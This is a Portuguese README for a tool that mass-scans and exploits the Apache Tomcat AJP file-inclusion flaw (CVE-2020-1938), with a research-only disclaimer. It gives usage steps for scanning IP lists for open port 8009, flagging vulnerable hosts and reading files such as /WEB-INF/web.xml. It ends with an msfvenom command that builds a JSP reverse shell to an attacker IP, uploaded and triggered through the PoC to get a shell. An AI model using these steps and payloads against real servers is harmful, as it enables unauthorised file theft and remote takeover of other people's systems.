
CVE-2020-1938 / CNVD-2020-1048 Ferramentas de Detecção
A ferramenta é destinada apenas à pesquisa de segurança e à auto-inspeção interna. É proibido utilizá-la para realizar ataques ilegais; as consequências são de responsabilidade do usuário.
Ferramenta de detecção em massa da vulnerabilidade de inclusão de arquivos do Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
Este projeto foi modificado com base no projeto de Kit4y.
Quando ip.txt contém apenas 1 domínio ou IP, threadCount torna-se 1 e o programa efetivamente não é executado; foi adicionado código para verificar o número de threads.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Coloque os domínios/IPs a serem escaneados em ip.txt, por exemplo:
127.0.0.1
www.baidu.com
2. python threading-find-port-8009.py
Escaneia os domínios/IPs em ip.txt para localizar aqueles com a porta 8009 aberta e os salva no 8009.txt gerado.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filtra, a partir de 8009.txt, as URLs que correspondem à vulnerabilidade e as coloca em vul.txt. Por fim, os domínios presentes em vul.txt são os domínios vulneráveis.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
Por padrão, lê o ROOT em webapps; alterar "/asdf" para "/test/asdf" permite acessar o conteúdo do diretório test em webapps.
t.perform_request('/asdf',attributes=[
Se o servidor também apresentar uma vulnerabilidade de upload de arquivos, envie o shell.txt abaixo:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Altere "/asdf" para "/asdf.jsp"; após iniciar o MSF, use a ferramenta PoC para obter um shell.